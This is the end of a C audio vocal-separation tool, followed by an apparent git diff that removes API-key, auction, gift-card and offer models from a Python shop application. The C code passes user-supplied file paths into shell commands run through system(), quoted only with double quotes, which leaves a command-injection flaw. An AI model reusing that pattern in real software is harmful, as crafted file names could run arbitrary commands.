"ffmpeg -y -i \"%s\" -codec:a libmp3lame -b:a 192k \"%s\" 2>/dev/null",
wav_path, mp3_path);
int ret = system(cmd);
if (ret != 0) {
fprintf(stderr, "error: ffmpeg failed (is it installed?)\n");
return -1;
}
return 0;
}
/* ── Input conversion via ffmpeg ────────────────────────────────── */
static int needs_conversion(const char *path)
{
const char *dot = strrchr(path, '.');
if (!dot) return 0;
/* WAV is native — everything else gets converted */
if (strcasecmp(dot, ".wav") == 0) return 0;
return 1;
}
/*
* Convert any audio/video file to stereo 16-bit WAV via ffmpeg.
* Writes to tmp_path. Returns 0 on success.
*/
static int convert_to_wav(const char *input, char *tmp_path, int tmp_len)
{
snprintf(tmp_path, tmp_len, "/tmp/voxsplit_%d.wav", (int)getpid());
char cmd[2048];
snprintf(cmd, sizeof(cmd),
"ffmpeg -y -i \"%s\" -vn -ac 2 -ar 44100 -sample_fmt s16 \"%s\" 2>/dev/null",
input, tmp_path);
int ret = system(cmd);
if (ret != 0) {
fprintf(stderr, "error: ffmpeg could not extract audio from '%s'\n", input);
return -1;
}
return 0;
}
/* ── CLI ───────────────────────────────────────────────────────── */
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s <input> [options]\n"
"\n"
" Spectral mid-side vocal isolation. Splits stereo audio into\n"
" vocals and instrumental tracks.\n"
"\n"
" Accepts WAV directly. MP3, MP4, FLAC, etc. converted via ffmpeg.\n"
"\n"
" --strength F separation aggressiveness (default: 1.0)\n"
" --mp3 also encode MP3 via ffmpeg\n"
" --vocals-only only output vocals\n"
" --instrumental-only only output instrumental\n"
" -o PATH output base path (default: input stem)\n"
"\n"
" Output:\n"
" %s song.wav -o split\n"
" → split-vocals.wav, split-instrumental.wav\n"
"\n"
" %s video.mp4 --mp3 --strength 1.5 -o karaoke\n"
" → extracts audio, splits, writes .wav + .mp3\n"
"\n",
prog, prog, prog);
}
/* Strip directory and extension from path to get stem */
static void get_stem(const char *path, char *stem, int stem_len)
{
/* Find last slash */
const char *base = strrchr(path, '/');
base = base ? base + 1 : path;
/* Find last dot */
const char *dot = strrchr(base, '.');
int len = dot ? (int)(dot - base) : (int)strlen(base);
if (len >= stem_len) len = stem_len - 1;
memcpy(stem, base, len);
stem[len] = '\0';
}
int main(int argc, char **argv)
{
const char *input = NULL;
const char *output = NULL;
double strength = 1.0;
int do_mp3 = 0;
int vocals_only = 0;
int instrumental_only = 0;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--strength") == 0 && i + 1 < argc) {
strength = atof(argv[++i]);
} else if (strcmp(argv[i], "--mp3") == 0) {
do_mp3 = 1;
} else if (strcmp(argv[i], "--vocals-only") == 0) {
vocals_only = 1;
} else if (strcmp(argv[i], "--instrumental-only") == 0) {
instrumental_only = 1;
} else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
output = argv[++i];
} else if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
usage(argv[0]);
return 0;
} else if (argv[i][0] == '-') {
fprintf(stderr, "error: unknown flag '%s'\n", argv[i]);
usage(argv[0]);
return 1;
} else {
input = argv[i];
}
}
if (!input) {
fprintf(stderr, "error: no input file\n");
usage(argv[0]);
return 1;
}
/* Default output base = input stem */
char stem[512];
if (!output) {
get_stem(input, stem, sizeof(stem));
output = stem;
}
if (strength <= 0.0) {
fprintf(stderr, "error: --strength must be positive\n");
return 1;
}
fprintf(stderr, "voxsplit: %s → %s-{vocals,instrumental}.wav\n", input, output);
/* Convert non-WAV input via ffmpeg */
char tmp_wav[512] = {0};
int converted = 0;
const char *wav_path = input;
if (needs_conversion(input)) {
fprintf(stderr, " converting via ffmpeg...\n");
if (convert_to_wav(input, tmp_wav, sizeof(tmp_wav)) != 0) return 1;
wav_path = tmp_wav;
converted = 1;
}
/* Read input */
WavFile wav = {0};
if (wav_read(wav_path, &wav) != 0) {
if (converted) remove(tmp_wav);
return 1;
}
/* Separate */
SplitResult split = separate(&wav, strength);
if (!split.vocal_left) {
fprintf(stderr, "error: separation failed\n");
wav_free(&wav);
return 1;
}
/* Build output paths */
char voc_wav[1024], inst_wav[1024], voc_mp3[1024], inst_mp3[1024];
snprintf(voc_wav, sizeof(voc_wav), "%s-vocals.wav", output);
snprintf(inst_wav, sizeof(inst_wav), "%s-instrumental.wav", output);
snprintf(voc_mp3, sizeof(voc_mp3), "%s-vocals.mp3", output);
snprintf(inst_mp3, sizeof(inst_mp3), "%s-instrumental.mp3", output);
double duration = (double)split.frames / wav.sample_rate;
int wrote = 0;
/* Write vocals */
if (!instrumental_only) {
if (wav_write_stereo(voc_wav, split.vocal_left, split.vocal_right,
split.frames, wav.sample_rate) == 0) {
fprintf(stderr, " wrote %s (%.1fs)\n", voc_wav, duration);
wrote++;
}
if (do_mp3) {
if (wav_to_mp3(voc_wav, voc_mp3) == 0)
fprintf(stderr, " wrote %s\n", voc_mp3);
}
}
/* Write instrumental */
if (!vocals_only) {
if (wav_write_stereo(inst_wav, split.inst_left, split.inst_right,
split.frames, wav.sample_rate) == 0) {
fprintf(stderr, " wrote %s (%.1fs)\n", inst_wav, duration);
wrote++;
}
if (do_mp3) {
if (wav_to_mp3(inst_wav, inst_mp3) == 0)
fprintf(stderr, " wrote %s\n", inst_mp3);
}
}
fprintf(stderr, "done — %d file(s)\n", wrote + (do_mp3 ? wrote : 0));
/* Cleanup */
split_free(&split);
wav_free(&wav);
if (converted) remove(tmp_wav);
return 0;
}

37
make_post_sell/models/__init__.py
View file

@ -1,4 +1,4 @@
from sqlalchemy import engine_from_config, event
from sqlalchemy import engine_from_config
from sqlalchemy.orm import sessionmaker
from sqlalchemy.orm import configure_mappers
import zope.sqlalchemy
@ -25,27 +25,9 @@ from .crypto_processor import *
from .user_crypto_refund_address import *
from .stripe_user_shop import *
from .paypal_user_shop import *
from .shop_search_request import *
from .comment import *
from .shop_subscription import *
from .page_session import *
from .gift_card import *
from .gift_card_transaction import *
from .cart_gift_card import *
from .api_key import *
from .auction import *
from .offer import *
from .cart_auction import *
from .cart_offer import *
from .notification import *
from .tag import *
from .product_tag import *
# run configure_mappers after defining all of the models
# to ensure all relationships can be setup.
@ -53,22 +35,7 @@ configure_mappers()
def get_engine(settings, prefix="sqlalchemy."):
# SQLite requires check_same_thread=False for multi-threaded access
# (e.g. background reforge threads sharing the engine's connection pool)
url = settings.get(f"{prefix}url", "")
kwargs = {}
if "sqlite" in url:
kwargs["connect_args"] = {"check_same_thread": False}
engine = engine_from_config(settings, prefix, **kwargs)
if engine.url.get_backend_name() == "sqlite":
@event.listens_for(engine, "connect")
def set_sqlite_pragma(dbapi_conn, connection_record):
cursor = dbapi_conn.cursor()
cursor.execute("PRAGMA busy_timeout = 30000")
cursor.close()
return engine
return engine_from_config(settings, prefix)
def get_session_factory(engine):

107
make_post_sell/models/api_key.py
View file

@ -1,107 +0,0 @@
import hmac
import hashlib
import os
import time
import uuid
from sqlalchemy import Column, BigInteger, Boolean, Unicode
from sqlalchemy.orm import relationship
from .meta import (
Base,
RBase,
UUIDType,
now_timestamp,
foreign_key,
)
def _generate_public_key():
return "mps_pub_" + os.urandom(16).hex()
def _generate_secret_key():
return "mps_sec_" + os.urandom(32).hex()
class MpsApiKey(RBase, Base):
"""HMAC key pair for REST API access scoped to a shop.
The public_key identifies the pair and is safe to log.
The secret_key is used to sign requests and is shown once on creation —
it is stored plaintext because HMAC verification requires the original value.
"""
__tablename__ = "mps_api_key"
id = Column(UUIDType, primary_key=True, index=True)
shop_id = Column(UUIDType, foreign_key("Shop", "id"), nullable=False, index=True)
public_key = Column(Unicode(72), unique=True, nullable=False, index=True)
secret_key = Column(Unicode(136), nullable=False)
label = Column(Unicode(128), nullable=True)
created_timestamp = Column(BigInteger, nullable=False, default=now_timestamp)
last_used_timestamp = Column(BigInteger, nullable=True)
is_active = Column(Boolean, nullable=False, server_default="1")
shop = relationship("Shop", back_populates="api_keys")
@classmethod
def generate(cls, shop, label=None):
"""Create a new key pair for a shop. Returns (api_key, secret_key_plaintext).
The secret_key_plaintext is the raw secret — caller must display it
once and never retrieve it from the DB again.
"""
public_key = _generate_public_key()
secret_key = _generate_secret_key()
key = cls()
key.id = uuid.uuid1()
key.shop = shop
key.public_key = public_key
key.secret_key = secret_key
key.label = label or ""
key.created_timestamp = now_timestamp()
key.is_active = True
return key, secret_key
def verify_signature(self, method, path, timestamp_str, body_bytes, signature):
"""Verify an HMAC-SHA256 request signature.
string_to_sign = "{METHOD}\\n{PATH}\\n{TIMESTAMP}\\n{SHA256_OF_BODY_HEX}"
signature = "sha256=" + hmac_sha256(secret_key, string_to_sign).hexdigest()
Returns True if valid, False otherwise (constant-time comparison).
"""
try:
ts = int(timestamp_str)
except (ValueError, TypeError):
return False
# Replay window: ±300 seconds
if abs(time.time() - ts) > 300:
return False
body_hash = hashlib.sha256(body_bytes).hexdigest()
string_to_sign = f"{method}\n{path}\n{timestamp_str}\n{body_hash}"
expected = (
"sha256="
+ hmac.new(
self.secret_key.encode("utf-8"),
string_to_sign.encode("utf-8"),
hashlib.sha256,
).hexdigest()
)
return hmac.compare_digest(expected, signature)
@property
def masked_secret(self):
"""Last 4 chars of secret for display. Never reveal the full value."""
return "mps_sec_..." + self.secret_key[-4:]
def get_api_key_by_public_key(dbsession, public_key):
return (
dbsession.query(MpsApiKey)
.filter_by(public_key=public_key, is_active=True)
.first()
)

359
make_post_sell/models/auction.py
View file

@ -1,359 +0,0 @@
"""Auction models — MPS-20.
An auction is a Product whose price is determined by competitive bidding
within a time window. The Product carries `pricing_mode` (0=fixed, 1=auction,
2=auction+buy_now); MpsAuction carries the auction-specific fields and
state machine; MpsBid is one bid per (auction, bidder, attempt); and
MpsAuctionWatcher lets users follow auctions for notifications.
State machine (auction.state):
0 draft — owner editing, not visible
1 scheduled — countdown to start_timestamp
2 active — bidding open
3 ended — bidding closed; winner determined or reserve not met
4 settled — winner paid via cart; product transferred
5 cancelled — owner aborted (pre-active only without admin override)
Soft-close: a bid placed within `soft_close_seconds` of `end_timestamp`
extends `end_timestamp` by `soft_close_seconds`. `original_end_timestamp`
preserves the scheduled close for audit.
See `lib/auction.py` for pure-function bid/proxy/soft-close logic.
"""
import uuid
from sqlalchemy import Column, BigInteger, Boolean, Integer, Unicode
from sqlalchemy.orm import relationship, backref
from .meta import (
Base,
RBase,
UUIDType,
foreign_key,
now_timestamp,
get_object_by_id,
)
from ..lib.currency import cents_to_dollars
# Auction state constants — mirror VISIBILITY_INT_TO_HUMAN style.
AUCTION_STATE_DRAFT = 0
AUCTION_STATE_SCHEDULED = 1
AUCTION_STATE_ACTIVE = 2
AUCTION_STATE_ENDED = 3
AUCTION_STATE_SETTLED = 4
AUCTION_STATE_CANCELLED = 5
AUCTION_STATE_INT_TO_HUMAN = {
AUCTION_STATE_DRAFT: "Draft",
AUCTION_STATE_SCHEDULED: "Scheduled",
AUCTION_STATE_ACTIVE: "Active",
AUCTION_STATE_ENDED: "Ended",
AUCTION_STATE_SETTLED: "Settled",
AUCTION_STATE_CANCELLED: "Cancelled",
}
# Default soft-close window in seconds (mirrors eBay's last-minute extension).
DEFAULT_SOFT_CLOSE_SECONDS = 60
# Default bid increment as a percentage of current high (5%). The model
# stores this as cents — view layer computes default from listed price.
DEFAULT_BID_INCREMENT_IN_CENTS = 100
class MpsAuction(RBase, Base):
"""One auction per Product (1:1). Created when shop owner enables
pricing_mode=1 or 2 on a product."""
id = Column(UUIDType, primary_key=True, index=True)
product_id = Column(
UUIDType,
foreign_key("Product", "id"),
nullable=False,
unique=True,
index=True,
)
shop_id = Column(UUIDType, foreign_key("Shop", "id"), nullable=False, index=True)
state = Column(
Integer,
nullable=False,
default=AUCTION_STATE_DRAFT,
server_default=str(AUCTION_STATE_DRAFT),
)
start_timestamp = Column(BigInteger, nullable=True)
end_timestamp = Column(BigInteger, nullable=True)
original_end_timestamp = Column(BigInteger, nullable=True)
start_price_in_cents = Column(BigInteger, nullable=False, default=0)
reserve_price_in_cents = Column(BigInteger, nullable=True)
buy_now_price_in_cents = Column(BigInteger, nullable=True)
bid_increment_in_cents = Column(
BigInteger, nullable=False, default=DEFAULT_BID_INCREMENT_IN_CENTS
)
soft_close_seconds = Column(
Integer, nullable=False, default=DEFAULT_SOFT_CLOSE_SECONDS
)
# MPS-20: how many units this auction sells (lot size). Default 1.
# For physical products with N inventory, owner can auction K units
# (K <= N) while keeping the other N-K at list price (mode 2).
# Digital products force quantity=1 — auctioning multiple copies of
# a digital file makes no sense (no scarcity).
quantity = Column(
Integer, nullable=False, default=1, server_default="1"
)
winner_user_id = Column(UUIDType, foreign_key("User", "id"), nullable=True)
winning_bid_id = Column(UUIDType, nullable=True)
payment_deadline_timestamp = Column(BigInteger, nullable=True)
currency = Column(Unicode(3), nullable=False, default="USD")
created_timestamp = Column(BigInteger, nullable=False)
updated_timestamp = Column(BigInteger, nullable=False)
product = relationship(
argument="Product",
uselist=False,
backref=backref("auction", uselist=False),
)
shop = relationship(argument="Shop", uselist=False)
winner = relationship(argument="User", uselist=False, foreign_keys=[winner_user_id])
bids = relationship(
argument="MpsBid",
lazy="dynamic",
order_by="MpsBid.created_timestamp.desc()",
back_populates="auction",
cascade="all, delete-orphan",
)
watchers = relationship(
argument="MpsAuctionWatcher",
lazy="dynamic",
back_populates="auction",
cascade="all, delete-orphan",
)
def __init__(self, product, shop, start_price_in_cents=0,
bid_increment_in_cents=DEFAULT_BID_INCREMENT_IN_CENTS,
soft_close_seconds=DEFAULT_SOFT_CLOSE_SECONDS,
currency="USD"):
self.id = uuid.uuid1()
self.product = product
self.shop = shop
self.state = AUCTION_STATE_DRAFT
self.start_price_in_cents = start_price_in_cents
self.bid_increment_in_cents = bid_increment_in_cents
self.soft_close_seconds = soft_close_seconds
self.currency = currency
self.created_timestamp = now_timestamp()
self.updated_timestamp = self.created_timestamp
@property
def is_lot_auction(self):
"""True when this auction sells more than 1 unit at once."""
return self.quantity > 1
@property
def is_draft(self):
return self.state == AUCTION_STATE_DRAFT
@property
def is_scheduled(self):
return self.state == AUCTION_STATE_SCHEDULED
@property
def is_active(self):
return self.state == AUCTION_STATE_ACTIVE
@property
def is_ended(self):
return self.state == AUCTION_STATE_ENDED
@property
def is_settled(self):
return self.state == AUCTION_STATE_SETTLED
@property
def is_cancelled(self):
return self.state == AUCTION_STATE_CANCELLED
@property
def is_terminal(self):
return self.state in (
AUCTION_STATE_SETTLED,
AUCTION_STATE_CANCELLED,
)
@property
def state_human(self):
return AUCTION_STATE_INT_TO_HUMAN.get(self.state, "Unknown")
@property
def time_remaining_ms(self):
"""Milliseconds until end_timestamp; 0 if past or unset."""
if not self.end_timestamp:
return 0
return max(0, self.end_timestamp - now_timestamp())
@property
def has_buy_now(self):
return self.buy_now_price_in_cents is not None
@property
def has_reserve(self):
return self.reserve_price_in_cents is not None
@property
def current_high_in_cents(self):
"""Highest bid amount; falls back to start_price when no bids."""
top = (
self.bids.order_by(None)
.order_by(MpsBid.amount_in_cents.desc())
.first()
)
if top is None:
return self.start_price_in_cents
return top.amount_in_cents
@property
def reserve_met(self):
if not self.has_reserve:
return True
return self.current_high_in_cents >= self.reserve_price_in_cents
@property
def start_price(self):
return cents_to_dollars(self.start_price_in_cents)
@property
def reserve_price(self):
if self.reserve_price_in_cents is None:
return None
return cents_to_dollars(self.reserve_price_in_cents)
@property
def buy_now_price(self):
if self.buy_now_price_in_cents is None:
return None
return cents_to_dollars(self.buy_now_price_in_cents)
@property
def bid_increment(self):
return cents_to_dollars(self.bid_increment_in_cents)
@property
def current_high(self):
return cents_to_dollars(self.current_high_in_cents)
@property
def min_next_bid_in_cents(self):
"""Smallest bid that would be accepted right now."""
if self.bids.count() == 0:
return self.start_price_in_cents
return self.current_high_in_cents + self.bid_increment_in_cents
@property
def min_next_bid(self):
return cents_to_dollars(self.min_next_bid_in_cents)
class MpsBid(RBase, Base):
"""One bid on an auction. amount_in_cents is the actual bid; max_proxy
is the bidder's secret ceiling, used by lib/auction proxy resolution."""
id = Column(UUIDType, primary_key=True, index=True)
auction_id = Column(
UUIDType,
foreign_key("MpsAuction", "id"),
nullable=False,
index=True,
)
bidder_user_id = Column(
UUIDType,
foreign_key("User", "id"),
nullable=False,
index=True,
)
amount_in_cents = Column(BigInteger, nullable=False)
max_proxy_in_cents = Column(BigInteger, nullable=True)
created_timestamp = Column(BigInteger, nullable=False)
outbid_timestamp = Column(BigInteger, nullable=True)
is_winning = Column(
Boolean, nullable=False, default=False, server_default="0"
)
auction = relationship(argument="MpsAuction", uselist=False, back_populates="bids")
bidder = relationship(argument="User", uselist=False)
def __init__(self, auction, bidder, amount_in_cents, max_proxy_in_cents=None):
self.id = uuid.uuid1()
self.auction = auction
self.bidder = bidder
self.amount_in_cents = amount_in_cents
self.max_proxy_in_cents = max_proxy_in_cents
self.created_timestamp = now_timestamp()
self.is_winning = False
@property
def amount(self):
return cents_to_dollars(self.amount_in_cents)
@property
def max_proxy(self):
if self.max_proxy_in_cents is None:
return None
return cents_to_dollars(self.max_proxy_in_cents)
class MpsAuctionWatcher(RBase, Base):
"""User watches an auction. Drives ending-soon and outbid emails."""
id = Column(UUIDType, primary_key=True, index=True)
auction_id = Column(
UUIDType,
foreign_key("MpsAuction", "id"),
nullable=False,
index=True,
)
user_id = Column(
UUIDType,
foreign_key("User", "id"),
nullable=False,
index=True,
)
created_timestamp = Column(BigInteger, nullable=False)
notify_on_outbid = Column(
Boolean, nullable=False, default=True, server_default="1"
)
notify_on_ending_soon = Column(
Boolean, nullable=False, default=True, server_default="1"
)
auction = relationship(
argument="MpsAuction", uselist=False, back_populates="watchers"
)
user = relationship(argument="User", uselist=False)
def __init__(self, auction, user, notify_on_outbid=True,
notify_on_ending_soon=True):
self.id = uuid.uuid1()
self.auction = auction
self.user = user
self.notify_on_outbid = notify_on_outbid
self.notify_on_ending_soon = notify_on_ending_soon
self.created_timestamp = now_timestamp()
def get_auction_by_id(dbsession, auction_id):
return get_object_by_id(dbsession, auction_id, MpsAuction)
def get_bid_by_id(dbsession, bid_id):
return get_object_by_id(dbsession, bid_id, MpsBid)

226
make_post_sell/models/cart.py
View file

@ -22,7 +22,6 @@ from .product import get_products_by_ids
from .shop import get_shops_by_ids
from .cart_coupon import CartCoupon
from .cart_gift_card import CartGiftCard
from .inventory import get_inventory_by_product_and_shop_location
@ -48,9 +47,6 @@ class Cart(RBase, Base):
handling_option = Column(Unicode(64), nullable=True)
handling_cost_in_cents = Column(BigInteger, nullable=True, default=0)
# Gift card purchase items (variable-priced, not regular products)
json_gift_cards = Column(UnicodeText, default=unicode("[]"))
created_timestamp = Column(BigInteger, nullable=False)
updated_timestamp = Column(BigInteger, nullable=False)
@ -61,22 +57,9 @@ class Cart(RBase, Base):
"cart_coupons", "coupon", creator=lambda c: CartCoupon(coupon=c)
)
# many to many uses association_proxy.
gift_cards = association_proxy(
"cart_gift_cards", "gift_card", creator=lambda gc: CartGiftCard(gift_card=gc)
)
user = relationship(argument="User", uselist=False, lazy="joined")
shop = relationship(argument="Shop", uselist=False, lazy="joined")
# One cart can produce many invoices (multi-shop checkouts split into
# one invoice per shop). lazy=dynamic so /u/carts can cheaply check
# `cart.invoices.count()` without loading rows.
invoices = relationship(
argument="Invoice", lazy="dynamic", foreign_keys="Invoice.cart_id",
back_populates="cart",
)
def __init__(self, user=None):
# since shopping carts are a private thing which may optionally
# be granted public access, we use random uuid4 UUIDs to prevent
@ -84,7 +67,6 @@ class Cart(RBase, Base):
self.id = uuid.uuid4()
self.user = user
self.json_cart = unicode("{}")
self.json_gift_cards = unicode("[]")
self.created_timestamp = now_timestamp()
self.updated_timestamp = now_timestamp()
@ -111,10 +93,6 @@ class Cart(RBase, Base):
del self._discounted_shop_totals
if hasattr(self, "_line_totals"):
del self._line_totals
if hasattr(self, "_gift_card_deductions"):
del self._gift_card_deductions
if hasattr(self, "_gift_card_purchases"):
del self._gift_card_purchases
def set_cart(self, cart_dict):
"""Save cart_dict as JSON into json_cart."""
@ -177,22 +155,10 @@ class Cart(RBase, Base):
# this busts memoization.
self.cart = tmp_cart
@property
def gift_card_purchases(self):
"""Return list of gift card purchase items from json_gift_cards."""
if not hasattr(self, "_gift_card_purchases"):
self._gift_card_purchases = json.loads(self.json_gift_cards or "[]")
return self._gift_card_purchases
@property
def gift_card_purchases_total_in_cents(self):
"""Total cost of gift card purchases in this cart."""
return sum(item["amount_in_cents"] for item in self.gift_card_purchases)
@property
def count(self):
if hasattr(self, "_count") == False:
self._count = sum(self.cart.values()) + len(self.gift_card_purchases)
self._count = sum(self.cart.values())
return self._count
@property
@ -301,7 +267,7 @@ class Cart(RBase, Base):
@property
def discounted_shop_totals_in_cents(self):
"""Discounted shop totals in cents after applying coupons and gift cards."""
"""Discounted shop totals in cents after applying coupons."""
if hasattr(self, "_discounted_shop_totals_in_cents") == False:
from copy import deepcopy
@ -316,27 +282,8 @@ class Cart(RBase, Base):
self._discounted_shop_totals_in_cents[shop_uuid] = (
coupon.compute_discount(shop_total_in_cents)
)
# Apply gift card balances after coupons
self._gift_card_deductions = {}
if len(self.gift_cards) > 0:
for gift_card in self.gift_cards:
shop_uuid = gift_card.shop_uuid_str
if shop_uuid in self._discounted_shop_totals_in_cents:
current = self._discounted_shop_totals_in_cents[shop_uuid]
deduction = min(gift_card.balance_in_cents, current)
self._discounted_shop_totals_in_cents[shop_uuid] = current - deduction
self._gift_card_deductions[gift_card.uuid_str] = deduction
return self._discounted_shop_totals_in_cents
@property
def gift_card_deductions(self):
"""Dict of gift_card_uuid_str -> deduction amount in cents.
Populated as a side effect of discounted_shop_totals_in_cents."""
# Ensure discounted totals are computed first
_ = self.discounted_shop_totals_in_cents
return getattr(self, "_gift_card_deductions", {})
@property
def discounted_shop_totals(self):
if hasattr(self, "_discounted_shop_totals") == False:
@ -350,138 +297,12 @@ class Cart(RBase, Base):
)
return self._discounted_shop_totals
@property
def auction_offer_override_in_cents(self):
"""MPS-20 + MPS-21: when this cart is linked to a winning auction
or accepted offer, the agreed amount overrides product list price.
Returns the override in cents, or None if no association.
At most one of cart_auctions or cart_offers should be set per cart;
if both are set (defensive — should not happen), the auction wins.
"""
if self.cart_auctions:
ca = self.cart_auctions[0]
winning_bid = (
ca.auction.bids.filter_by(is_winning=True).one_or_none()
)
if winning_bid is not None:
return winning_bid.amount_in_cents
return ca.auction.start_price_in_cents
if self.cart_offers:
return self.cart_offers[0].offer.current_amount_in_cents
return None
@property
def is_negotiated(self):
"""MPS-20 + MPS-21: True when the cart total is set by an
accepted offer or winning auction bid, not by list-price summation.
Used by templates to render the negotiation card and to suppress
coupon / gift-card controls that don't stack on a negotiated price.
"""
return bool(self.cart_auctions or self.cart_offers)
@property
def negotiation_kind(self):
"""'auction' | 'offer' | None — the kind of negotiation behind
this cart's override. Auction wins if both are set."""
if self.cart_auctions:
return "auction"
if self.cart_offers:
return "offer"
return None
@property
def negotiation_path(self):
"""Relative URL to the offer or auction page, or None."""
if self.cart_auctions:
return f"/a/{self.cart_auctions[0].auction.uuid_str}"
if self.cart_offers:
return f"/o/{self.cart_offers[0].offer.uuid_str}"
return None
@property
def negotiated_product(self):
"""The product the offer / auction was negotiated on, or None."""
if self.cart_auctions:
return self.cart_auctions[0].auction.product
if self.cart_offers:
return self.cart_offers[0].offer.product
return None
@property
def list_total_in_cents(self):
"""Sum of line items at list price — the would-be total if no
offer / auction were attached. Used to show savings on
negotiated carts."""
return sum(self.line_totals_in_cents.values())
@property
def list_total(self):
return cents_to_dollars(self.list_total_in_cents)
@property
def savings_in_cents(self):
"""Positive when the negotiated price is below list. Zero when
the cart isn't negotiated, or when negotiated amount >= list
(e.g. an auction bid above list)."""
if not self.is_negotiated:
return 0
override = self.auction_offer_override_in_cents or 0
diff = self.list_total_in_cents - override
return diff if diff > 0 else 0
@property
def savings(self):
return cents_to_dollars(self.savings_in_cents)
@property
def negotiation_pay_deadline_ms(self):
"""When this negotiated cart must be paid by, in absolute ms.
Returns None if the cart isn't negotiated or no deadline is set
on the linked offer / auction.
- cart_offers → offer.acceptance_pay_deadline_ms
- cart_auctions → auction.payment_deadline_timestamp
"""
if self.cart_offers:
return self.cart_offers[0].offer.acceptance_pay_deadline_ms
if self.cart_auctions:
return self.cart_auctions[0].auction.payment_deadline_timestamp
return None
@property
def negotiation_pay_deadline_human(self):
"""Human-readable delta of the pay-by deadline ("in 23 hours,
14 minutes"), via ago.human. None when no deadline applies."""
ms = self.negotiation_pay_deadline_ms
if ms is None:
return None
import ago
from datetime import datetime, timezone
dt = datetime.fromtimestamp(ms / 1000, tz=timezone.utc)
return ago.human(
dt, precision=2,
past_tense="expired {} ago",
future_tense="in {}",
)
@property
def total_price_in_cents(self):
"""
Calculate the total price in cents, including handling cost and gift card purchases.
MPS-20 + MPS-21: an auction-won or offer-accepted cart pays the
agreed amount instead of the sum of line items.
Calculate the total price in cents, including handling cost if applicable.
"""
override = self.auction_offer_override_in_cents
if override is not None:
total = override
total += self.gift_card_purchases_total_in_cents
if self.handling_cost_in_cents:
total += self.handling_cost_in_cents
return total
total = sum(self.line_totals_in_cents.values())
total += self.gift_card_purchases_total_in_cents
if self.handling_cost_in_cents:
total += self.handling_cost_in_cents
return total
@ -496,21 +317,9 @@ class Cart(RBase, Base):
@property
def total_discounted_price_in_cents(self):
"""
Calculate the total discounted price in cents, including handling cost and gift card purchases.
MPS-20 + MPS-21: an auction-won or offer-accepted cart pays the
agreed amount; coupons and gift-card balances do not stack on top
of a negotiated price.
Calculate the total discounted price in cents, including handling cost if applicable.
"""
override = self.auction_offer_override_in_cents
if override is not None:
total = override
total += self.gift_card_purchases_total_in_cents
if self.handling_cost_in_cents:
total += self.handling_cost_in_cents
return total
total = sum(self.discounted_shop_totals_in_cents.values())
total += self.gift_card_purchases_total_in_cents
if self.handling_cost_in_cents:
total += self.handling_cost_in_cents
return total
@ -556,14 +365,6 @@ class Cart(RBase, Base):
return True
return False
@property
def requires_stripe_payment(self):
"""Return True if Stripe can legally process this cart, else False.
Stripe enforces a hard floor of $0.50 USD — below that, Stripe rejects the charge.
Use DOGE or XMR for purchases under $0.50.
"""
return self.total_in_cents >= 50
@property
def is_not_public(self):
return not self.public
@ -617,25 +418,6 @@ class Cart(RBase, Base):
)
return error_messages
def validate_attached_gift_cards(self):
"""Make sure all attached gift cards are valid for this cart."""
error_messages = []
if self.gift_cards:
for gift_card in self.gift_cards:
if gift_card.disabled:
error_messages.append(
f"Gift card '{gift_card.code}' has been disabled."
)
if gift_card.balance_in_cents <= 0:
error_messages.append(
f"Gift card '{gift_card.code}' has no remaining balance."
)
if gift_card.shop_uuid_str not in self.shop_totals_in_cents:
error_messages.append(
f"Gift card '{gift_card.code}' is not valid for any shop in your cart."
)
return error_messages
def check_inventory(self, shop_location):
"""
Check if the shop location has enough quantity for each physical product in the cart.

40
make_post_sell/models/cart_auction.py
View file

@ -1,40 +0,0 @@
"""MpsCartAuction — association between a cart and the auction whose
winning bid drives its total.
A cart with a cart_auction row pays at the auction's winning_bid amount,
not the product's listed price. The route that creates this association
(/a/{id}/checkout — commit 8) verifies the user is the winner.
The relationship is many-to-one to Cart and one-to-one to MpsAuction
(an auction has at most one cart in the wild — once paid, state flips
to SETTLED and the association sticks for audit but no other cart is
created against the same auction).
"""
import uuid
from sqlalchemy import Column, BigInteger
from sqlalchemy.orm import relationship, backref
from .meta import Base, RBase, UUIDType, foreign_key, now_timestamp
class MpsCartAuction(RBase, Base):
id = Column(UUIDType, primary_key=True, index=True)
cart_id = Column(UUIDType, foreign_key("Cart", "id"), nullable=False)
auction_id = Column(
UUIDType, foreign_key("MpsAuction", "id"), nullable=False, index=True,
)
created_timestamp = Column(BigInteger, nullable=False)
cart = relationship(
argument="Cart",
backref=backref("cart_auctions", cascade="all, delete-orphan"),
)
auction = relationship(argument="MpsAuction")
def __init__(self, cart=None, auction=None):
self.id = uuid.uuid1()
self.cart = cart
self.auction = auction
self.created_timestamp = now_timestamp()

34
make_post_sell/models/cart_gift_card.py
View file

@ -1,34 +0,0 @@
import uuid
from sqlalchemy import Column, BigInteger
from sqlalchemy.orm import relationship, backref
from .meta import Base, RBase, UUIDType, foreign_key, now_timestamp
class CartGiftCard(RBase, Base):
"""
Many to many, Carts to GiftCards.
A relationship signifies the application of a gift card to a cart.
"""
id = Column(UUIDType, primary_key=True, index=True)
cart_id = Column(UUIDType, foreign_key("Cart", "id"), nullable=False)
gift_card_id = Column(UUIDType, foreign_key("GiftCard", "id"), nullable=False)
created_timestamp = Column(BigInteger, nullable=False)
cart = relationship(
argument="Cart",
backref=backref("cart_gift_cards", cascade="all, delete-orphan"),
)
gift_card = relationship(
argument="GiftCard",
backref=backref("gift_card_carts", cascade="all, delete-orphan"),
)
def __init__(self, cart=None, gift_card=None):
self.id = uuid.uuid1()
self.cart = cart
self.gift_card = gift_card
self.created_timestamp = now_timestamp()

38
make_post_sell/models/cart_offer.py
View file

@ -1,38 +0,0 @@
"""MpsCartOffer — association between a cart and the accepted offer
whose agreed amount drives its total.
A cart with a cart_offer row pays at the offer's current_amount_in_cents,
not the product's listed price. The route that creates this association
(/o/{id}/checkout — commit 8) verifies the offer is in ACCEPTED state
and the user is the buyer.
Many-to-one to Cart, one-to-one to MpsOffer.
"""
import uuid
from sqlalchemy import Column, BigInteger
from sqlalchemy.orm import relationship, backref
from .meta import Base, RBase, UUIDType, foreign_key, now_timestamp
class MpsCartOffer(RBase, Base):
id = Column(UUIDType, primary_key=True, index=True)
cart_id = Column(UUIDType, foreign_key("Cart", "id"), nullable=False)
offer_id = Column(
UUIDType, foreign_key("MpsOffer", "id"), nullable=False, index=True,
)
created_timestamp = Column(BigInteger, nullable=False)
cart = relationship(
argument="Cart",
